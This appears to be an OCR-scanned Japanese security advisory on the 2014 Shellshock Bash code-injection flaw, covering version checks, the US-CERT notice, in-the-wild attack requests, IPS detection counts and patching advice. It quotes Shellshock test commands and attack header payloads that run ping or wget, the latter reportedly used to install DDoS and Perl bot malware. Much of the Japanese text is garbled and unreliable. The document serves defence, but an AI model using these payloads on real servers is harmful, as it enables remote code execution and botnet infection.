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UNIX. Linux. OS BH&E®D Bash (Born Again Shell) iEssitasH N

Bash Kegglt. S 1IL>3vo] TRHFTHER

20144F9H24H. GNU BashEREAEEER LIz I— R > 210> 3> 0t U« SsihkSE Sz, onig I ols
3w (ShellShock) | S FN. TFa1 UT BFBERSIISHEARICHFZENE [/ \—hJU—R (Heartbleed) | KDEZE
RSERI TRONMHINNE LT VD, Bashl BN EIAER L TLVSH—/) —OSOUNIXBKOLinuxICBREL TN R >4
USIAEEVERIZ LT \SIash. SR adEROD T JH—) \—04E a3 L6 TE 5. BEEdERDD N>
RYEFHNHFNIREEEAEFAL. COSSIaZe \CBE/IM TR ZETCED. FlSSIHDE2a375GNU BashiRtRz(E
32 AFLERE L TF1 T BT IS VENRSERL GREZH S KO (SHERL TL V. 98298, Red Hat. U
buntu, 7> NOS. Novell/SUSE/REDERLinuxFlIFEEEIE) WIS 3 WFaRERU

SEIFR(CEBUIBashOd— R~ 2102 3 eS8t s, #2823 18) \—2 3 AMENILEDIzsbD 5B T UTS

GNU BashDIFEEEREESICHNTC, O—R1>>1>3> (Code Injection) BEEF>TUFTEDT— NMHEAL. BEHDI—RNEETCT
E=DHEIENFR SN, Bash (Boume-again shell) (& Unix. Linux., dd&UMac OS XFFUDOSICESDE CAETH FRSNTL B IR
=1L (shel) D—FETHD. GNUTOZ T NIkt Uz, FERDUNIXS )L [Bourne shelll & 430nZH0o7zEWVSEERD [Bor
n Again] D&ERGEC. —M%NIC Bash (\wa) | EWVIEEECERYD. Bashldl—H—hEITHR MR—XDWindowlc N> REA
1133E. NTEL TOSHYERNF DL DICTDIN A AT USEEERIZ L TL VD,

*GNU 20Y19b

GNUARL =TS 2F LA0O5TE (GNU project) (&, 1983%E9H27H. net.unix-wizards&U' net.usoft £LVS=1—
RAIN—TTRRERUR. TOERZR. [TR(CTY-YINIIT THERENZARL -T2 IS AT LERIR I 2L folz. SIREDAN
—ILFM1960FERPL1970FEARDIVE1-91 - -DL3(C. I-F—Z2BHHCLEVIEEZ TV, BNIE FoTVW3YINIT
FDY—AD—REESTHBATEZBHTHD. VINITTZMON 2 ERBTEZEHETHD. YVINIITZEIETEZEHETHD. (&
ENRZE CEBEHTHD. COEF(F1985F3H. GNUESLUTARINT.

1990 (CHERIENZVTFARNIT (4 (Emacs) . IERCAUENDN TVWSEREEI> /15 (GCC). —AZHIUNIXT1 AN
E1—23 0B ARSATSUPI-FTAUTADREBPD DT Ulce 1991 E(C(FY—F R - h—/ULZ M B (CLinuxh—RILOBIFREIAD
THN. 1992F(CELinuxD/IN—3>0.12hGPLSA 2 A TUY—A2E Nz, ZUTLINUXEGNUZHEAENTERET. tHRFID5T
(Y=Y INITT CHRSNTEARL =TI S 2T L' TeRE Iz,

(xHH8 : WikipediadDHd2)
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AR 7 —5—8ESditF—L (US-CERT) (& 9H24EWeb(CTBashifESIFaZEEL. My \WFEREErsLIc,

BashfSEFFEIESIY \—> 3 HERAE
ERRDY—) -z FH—ERDBashSFREHRS JONEEIDRZE a5 5Bash/ \—=> 3 > OiEE . TN R THESRRE.

$ cat /etc/shells
/bin/sh

/bin/csh

/bin/ksh
/usr/local/bin/tcsh
/usr/local/bin/bash

$ bash -version
GNU bash, version 3.2.39(1)-release (i386-unknownopenbsd4.3)
Copyright (C) 2007 Free Software Foundation, Inc.

Ffe, #EEZITDBash) 3> ORHEIER S US-CERT CHET DL TOWeb R—hSHER TS 2.

<MEgsBash/\—>3>D8ER-T>
-http://web.nvd.nist.gov/view/vuln/detail?vulnld=CVE-2014-6271
-http://web.nvd.nist.gov/view/vuln/detail?vulnld=CVE-2014-7169

Bashd—RA1>>1 033> 00E8% (CVE-2014-6271/ CVE-2014-7169)
[X1] DESIC, R ORRERE TR0 T 1— MoEId D&, Bash CREESETE 1 > 7— NS BiEfE GBI /=— RIHE 32
TSN,

bash-3.2$ env x="() { :;}; echo vulnerable’ bash -c “echo this is a test”vulnerable
this is a test

(1] AEESMS AN (FHHEE : Red HatdDSECURITY BLOG)

BYISCOREE (CVE-2014-6271) #HiiEed D) WIhNRHSE 7 1) UWEiaohetd 21— RhWMERSHefash. ThECVE-2014-71
690 WF TG I DL Tz ( [R2] 288
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Official website of the Department of Homeland Security

US-CERT

UNITED STATES COMPUTER EMERGENCY READINESS TEAM

HOME ABOUTUS PUBLICATIONS ALERTS AND TIPS RELATED RESOURCES cvp

Bourne-Again Shell (Bash) Remote Code Execution Vulnerability

114 | Last revise

& Print ¥ Tweet B3 Send Share

US-CERT is aware of a Bash wulnerability affecting Unix-based operating systems such as Linux and Mac OS X
Exploitation of this vulnerability may allow a remote attacker to execute arbitrary code on an affected system

The flaw was originally assigned CVE-2014-6271. but it was later discovered that the patch had an issue in the parser
and did not fully address the problem. MITRE later assigned CVE-2014-7169 to cover the remaining problems after the
application of the first patch.

US-CERT recommends users and administrators review TA14-268A, Vulnerability Note VU#252743 and the Redhat
Security Blog  for additional details and to refer to their respective Linux or Unix-based OS vendor(s) for an appropriate
patch. A GNU Bash patch is also available for experienced users and administrators to implement.

Operating systems with updates include.
« CentOS
o Debian

* Redhat
« Ubuntu

(XP] BashdAfEEsItH R 3CVE-2014-62718LUCVE-2014-7169) \WFHA R (g US-CERT)

SRR A5 eSS4 CVE-2014-716900E 3. LIFDIN> MNaflEo TR A MIeRES,

bash-3.2$ $ cd /tmp; mM -f /tmp/echo; env ‘x=() { (a)=>¥ bash -c"echo date”; cat /tmp/echo

fICEBashifESSIERF Y —) UDYABTS, SNSDY—)VEFIRL T SRS AEIEESPEPE AT Ve B Ih i CF v U9 &
EIEDI Do

BashT—R-1 > =105 3 OHeEsIER+Fv >
BEEES BB] LIS, UE—TO—RaeFA M diEsith&s/zBashaittE 9 1 J CGEREAF I REI DT ENYIh ol

# XXXX BIS y.y.y.y(FIPZRLZ

x.X.x.X/?Referer=() { :; }; /bin/ping ¢ 1 v.y.y.y¥x0d
(BB]Bashd— > 2172 OSSR AERE
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Zhrzh. [BH] (ORI LS(SEBREDWebERRIY agi-bin/5— Lo NULTFOCCITI S A7 EAUZD. IhSEROI— 2210
2 ATRNRSNBHHET I DwEND.

GET /cgi-bin/bb-histlog.sh
GET /cgi-bin/login.cgi
GET /cgi-bin/web2cgi/getpass.cgi?lang=gb
GET / HTTP/1.1" 200 3900 "() { :; }; /bin/ping -c 1 ip.addr
(4] D17Y-N-007 LOBashd—RA1>S 1733 (CLDMESTHERFvATR

FHCOTTREC, MEstaiyOBash&itaid Web CGITVISLNMERSHERE. BEEEIJERT NS eI S VeI S5
MR IT IT—) i TR CE CLED. TNICKDEENEITTHZAT. SHOEEISEN—R(C UV E - Ry NIJ—OhEkDnlREr
BEELUT VS,

SPRC ] DEI(C —HVIT— R > 2102 3> FH L <FFHEENSER T TOBEERAN RIS SA V. SREWebB-1 MSEE
T3S T— REA I — RIDwgetS=ET N> ROT— R 21053 ACKD, I8BWebb-1 MhvSDoSHsEEE I DLiInuxE) VT )7 (V3
SAE: Linux/CVE-2014-6271) HBRNRCBotiE DPer 27\ T NU)UIT 7 (Perl/ Shellbot) Z/tmpR_—AITFF T3 DBEES
e EDTU VD,

Cookie: () { :; ¥; wget.

User-Agent: () { :;}; wget
.Cookie:().{.:;.}; wget

Host:().{.:;.}; wget..Referer:().{.:;.}; . wget

(5] wgets=(TINv> ROI— RT3 BEEFRE

B BashifSsiaFIF s NI BEEEIWebH—) D> o YEKUT— RESE, WebH- hficA, 1—5—0D7—4 it "DDoSEEENSE
1TAJRELTD. COMUCESSH, DHCPTO M) VR ESFSFLGERT T CBashI— R > 2102 3 > ORfSSHIEED ARSI TS
W

Bashd—RA > 21023 >8I HSs Kb Y3 Ehn

7> SMdEHRDRY NO—EtFa1 U5+ VU1 —>3 > TrusGuard (KSXA—R) (RSS9 S OxFvaEr - €500
THER (6] DLS(CBashd—RA> 2102 3 OSSR D R ESEEI EINL CLVS T EMHERSA V. ThNidBashd—R1>>
I3 ONEIEERF> 32— LEINE. [EHESITEER I SRODBEEN SRS SEDEHEITED. ZNITDISAFEN < &
FESNDIAHC, TR T BEEODMEHYE =Y U0 SEh WS
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TrusGuard>J % Fv &

bash_code_injection
(CVE-2014-6271)

1109 1069 625 1394 4529

bash_code_injection
(CVE-2014-6271)
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/

2000

1000 w
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18%#%& 2B® 3% 48%

[&pb] TrusGuardm®Bashd—R > 175 3 HEEIEODIA RS HRS

Bashd— R > 2T 053> iEsHIHEI S

FIEFHRDIRT L - B—ERDBashifSSIH DR EEREITREL,. BEd St 1 B S VERRGERI DI L. FeBashd—R
A>T 3OS EERT D, FRDUE— NI— REEANDESU %L, RABLES X5/ (PS) ZFIFRL GiEaewIMbd
DTEEEEIL, SOt MEEFaBash) \—=3> B3 20T ICGIIV S IVEEE T 20T T H—) —DEREERL. WERaalRECG
DS 50— ERZHREUZDEBRI D EBESS,

—75. BHFONESHENEER (B Sz U CEBEEE HHI oSBT d 2125, Bashifessit B9 2/ \WFaERks. HnidE
FESHH TR CERRKEZSVUSI U, iRt U B S R SRR SERL Gt 1 T RS I ST SRS
77> SN FSEIDBashfEgsIH B9 S&REikitL CE—YU> I L, ARETUN D & TSP IR 1~ i aer M I Db
EFRLU WS,

<BashifEss¥(CRAT3F VT 7 RINI Y =H 1 k>
7o tF T4 T RINAH—

http://www.ahnlab.com/kr/site/securitycenter/asec/asecView.do?groupCode=VNI002&
webNewsInfoUnionVo.seq=22903
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<B8ZFYSb>
ehttp://hacksum.net/
ewww.redhat.com

eTrend Micro Blog
http://blog.trendmicro.com/trendlabs-security-intelligence/bashvulnerability-shellshock-exploit-emerges-in-the-

wild-leads-toflooder/

eRed Hat Blog
https://securityblog.redhat.com/2014/09/24/bash-speciallycrafted-environment-variables-code-injection-attack/
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HASHT7 > SRE ER2Y - RIIEREFIUT VI -2 3> ORERETT,

1995FEN S TIHIBEREF 1 VUT « DEFICHITDA INR—F— & U THREmRRIMi EBREOY - EXZTRFETEDI LS (CBHZMEITTE
WDFEUZ, SBESRROESRIAMEEZDSTO L. ROTEIITREDK DICEMLNSTF 1 VT ERDERE(CRNDLDE
EUTHRWDFET,

TUSRETRO MY TE IO =/ EFEF. A5 S5 023> Ry NID—DOF7TSATURRESRK(COIZ2HEatEF
AVTFABROSA>FTYITZRATEDET, EORRBEHA MY TIOSROEF1 VT4 LANILZED, J0O0—/ULEFI>HILT> b
Y-EXRZEVEENLREF1IUT - ERZSEITRUFY.
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